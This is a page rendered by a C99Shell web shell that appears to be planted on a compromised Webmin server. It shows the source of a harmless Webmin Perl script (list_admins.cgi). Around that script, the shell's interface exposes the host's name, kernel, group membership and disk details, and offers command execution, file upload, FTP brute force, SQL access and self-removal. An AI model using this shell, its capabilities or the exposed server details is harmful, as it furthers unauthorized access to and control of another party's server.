!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     list_admins.cgi (1.59 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show all extra admins for a virtual server

require './virtual-server-lib.pl';
&ReadParse();
$d = &get_domain($in{'dom'});
$d || &error($text{'edit_egone'});
&can_edit_domain($d) || &error($text{'edit_ecannot'});
&can_edit_admins($d) || &error($text{'admins_ecannot'});

&ui_print_header(&domain_in($d), $text{'admins_title'}, "");

@links = ( &select_all_link("d"),
       &select_invert_link("d"),
       "<a href='edit_admin.cgi?dom=$in{'dom'}&new=1'>$text{'admins_add'}</a>" );

# Make table data
@admins = &list_extra_admins($d);
foreach $a (sort { $a->{'name'} cmp $b->{'name'} } @admins) {
    if (!$a->{'doms'}) {
        $domsdesc = $text{'admins_domsall'};
        }
    else {
        @doms = grep { $_ } map { &get_domain($_) }
                split(/\s+/, $a->{'doms'});
        @dnames = map { &show_domain_name($_) } @doms;
        $domsdesc = @dnames > 3 ?
            join(", ", @dnames[0..2]).", ".&text('admins_more',
                                 @dnames - 3) :
            join(", ", @dnames);
        }
    push(@table, [
        { 'type' => 'checkbox', 'name' => 'd',
          'value' => $a->{'name'} },
        "<a href='edit_admin.cgi?dom=$in{'dom'}&name=".
        &urlize($a->{'name'})."'>".&html_escape($a->{'name'})."</a>",
        &html_escape($a->{'desc'}),
        $domsdesc,
        ]);
    }

# Render the table
print &ui_form_columns_table(
    "delete_admins.cgi",
    [ [ "delete", $text{'admins_delete'} ] ],
    1,
    [ [ "edit_admin.cgi?dom=$in{'dom'}&new=1", $text{'admins_add'} ] ],
    [ [ "dom", $in{'dom'} ] ],
    [ "", $text{'admins_name'}, $text{'admins_desc'},
      $text{'admins_doms'} ],
    100,
    \@table,
    undef,
    0,
    undef,
    $text{'admins_none'},
    );

&ui_print_footer(&domain_footer_link($d),
         "", $text{'index_return'});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--